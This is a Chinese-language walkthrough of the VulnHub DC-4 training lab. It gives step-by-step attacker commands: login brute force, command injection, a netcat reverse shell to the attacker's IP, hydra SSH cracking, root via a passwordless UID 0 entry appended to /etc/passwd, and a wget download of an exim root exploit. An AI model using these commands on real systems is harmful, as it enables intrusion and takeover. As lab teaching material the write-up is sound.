靶机下载地址:
链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwd=n6nx
提取码:n6nx
参考:
- 【【基础向】超详解vulnhub靶场DC-4-爆破+反弹shell+信息收集】 https://www.bilibili.com/video/BV1Le4y1o7Sx/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
- http://t.csdnimg.cn/BOGVr
- http://t.csdnimg.cn/tRrgh
- DC-4 (1).pdf
- https://c3ting.com/archives/vulnhnbshua-ti-dc-4
- https://www.vulnhub.com/entry/dc-4,313/
- ChatGPT
描述:
DESCRIPTION 说明
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-4是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
与之前的DC版本不同,这一版本主要是为初学者/中级用户设计的。只有一面旗帜,但从技术上讲,有多个入口点,就像上次一样,没有任何线索。
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。
使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.
1、导入VMware虚拟机
下载完成后,得到DC-4.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
一.信息收集
基础信息查询
0x01 查看存活主机
arp-scan -l #二层主机扫描,主动发送ARP包进行嗅探
0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A
# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。
目录扫描
dirb http://192.168.1.132 /usr/share/dirb/wordlists/big.txt
没什么目录信息可用
0x04 服务器信息查询,CMS查询
页面信息探测
爆破用户密码
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
然后选择Cluster bomb
集束炸弹模式
payload1设置为admin
payload2设置为一个密码字典,可以上网查Top1000弱口令字典放进去常见的弱口令字典1000~一石三鸟-CSDN博客
开始攻击,密码为happy
登录成功
这里有几个命令
我们可以通过抓包来进行修改它要执行的命令
发现任意命令执行漏洞
改为 id 发现可以成功执行
那么我们可以来进行反弹shell
反弹shell
先在kali上监听8888端口
nc -lvvnp 8888
nc -lvvnp 8888命令是使用netcat工具来监听网络连接并侦听指定的端口。
- -l选项表示netcat将进入监听模式。
- -v选项用于显示详细的调试信息。
- -n选项用于禁止DNS解析,以避免延迟。
- -p选项后跟要监听的端口号。
执行该命令后,netcat会开始在指定的端口上进行监听,并显示从客户端发送过来的连接和相关信息。
listening on [any] 8888 ...
您可以使用这个命令来创建一个简单的反向shell或测试网络连接等。
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
nc -e /bin/bash 192.168.1.128 8888
反弹shell成功,接着升级为交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就是提权了,然后找flag了
提权
在home目录下发现三个用户
- charles
- jim
- sam
在/home/jim/backups目录下发现一个旧密码本
复制出来保存为1.txt
有用户名了,使用工具爆破密码:
使用hydra工具:
Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。
以下是 Hydra 的基本用法示例:
hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>
其中:
- <用户名>:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。
- <密码列表文件>:包含要尝试的密码的文件路径。
- <目标IP地址>:要破解的目标主机的 IP 地址。
- <协议>:要破解的服务的协议类型,如 ssh、ftp、telnet 等。
- <端口号>:目标服务的端口号,默认为协议的默认端口号。
- <线程数>:用于并发尝试的线程数,默认为 16。
要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:
对 jim 的账号进行破解
hydra -l jim -P 1.txt 192.168.1.132 ssh
获得密码jibril04
那么接下来进行 ssh 登录 jim 的账号
登录成功
提示你有一封邮件
是root发来的
用 find 命令查找 mail
find / -name *mail* # 这条命令表示从根目录开始,查到前和后带有mail的目录
发现了/var/mail
目录,进去看看
Charles要去度假,所以把密码发给了jim
那我们尝试登录Charles的账号,成功登录
sudo -l
命令用于列出当前用户可以以超级用户权限运行的命令。
发现teehee命令
它是一个自定义的命令,那我们执行看看
teehee --help
-a参数 说可以不覆盖文件的形式追加内容
在文末添加,但是不是覆盖文件(teehee运行时有root权限,则可以由此修改passwd文件)
添加新用户到/etc/passwd中
参考/etc/passwd文件解刨
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
##建议手打命令,复制粘贴可能不管用
对于admin::0:0:::/bin/bash的解释
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
我们创建了一个admin用户,没有设置密码
添加成功之后就切换为admin用户
在root目录下发现flag文件
flag
方法二:
SUID
其中 exim4 可以提权
该命令用于在整个文件系统中搜索具有设置了 setuid 位的可执行文件,并将结果输出。
- find 是一个用于在指定路径下搜索文件和目录的命令。
- / 表示从根目录开始搜索,也就是整个文件系统。
- -perm -4000 表示查找具有设置了 setuid 位(权限为 4000)的文件。setuid 位允许普通用户以拥有者的权限来执行该文件。
- -print 选项用于打印找到的文件的完整路径。
- 2>/dev/null 将错误输出重定向到 /dev/null,这样可以屏蔽一些不必要的错误信息。
当命令执行完成后,它将返回所有具有设置了 setuid 位的可执行文件的完整路径列表。
find / -perm -4000 2>/dev/null
find / -perm -4000 -print 2>/dev/null
exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
先看一下 exim的版本
exim4 --version
确定版本,接着查找漏洞
searchsploit exim 4
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
把这个脚本复制出来
使用python打开http服务 映射本地文件 python -m http.server
python -m http.server 是一个用于启动简单的HTTP服务器的命令。
执行该命令后,它将在当前目录下启动一个基于Python的HTTP服务器,默认监听端口为8000。这个HTTP服务器可以被用于快速共享文件、浏览静态网页或进行简单的文件传输等任务。
示例输出可能如下所示:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
此时,您可以通过浏览器或其他HTTP客户端访问 http://localhost:8000 来浏览当前目录中的文件。如果希望使用不同的端口号,可以在命令中使用 -p 参数指定,例如 python -m http.server 8080 将使用8080端口。
请注意,这个简单的HTTP服务器通常用于开发和调试目的,并不适合在生产环境中使用。对于公开访问的网络服务,请考虑使用更安全和功能丰富的HTTP服务器软件。
出现这个页面就说明开启HTTP服务成功了
在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载并开启bash终端
wget http://192.168.1.128:8000/46996.sh | bash
然后给46996.sh权限 并且运行这个脚本
chmod +x ./46996.sh
点(.)在Linux中表示运行,./ 表示当前目录,紧接着是要运行的脚本文件名
./46996.sh
总结
1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。
2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。
3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。
4、此靶机考察了对hydra的掌握以及对命令执行漏洞的利用,考虑到nc 的提权方式(正反提权)考察对用户操作的了解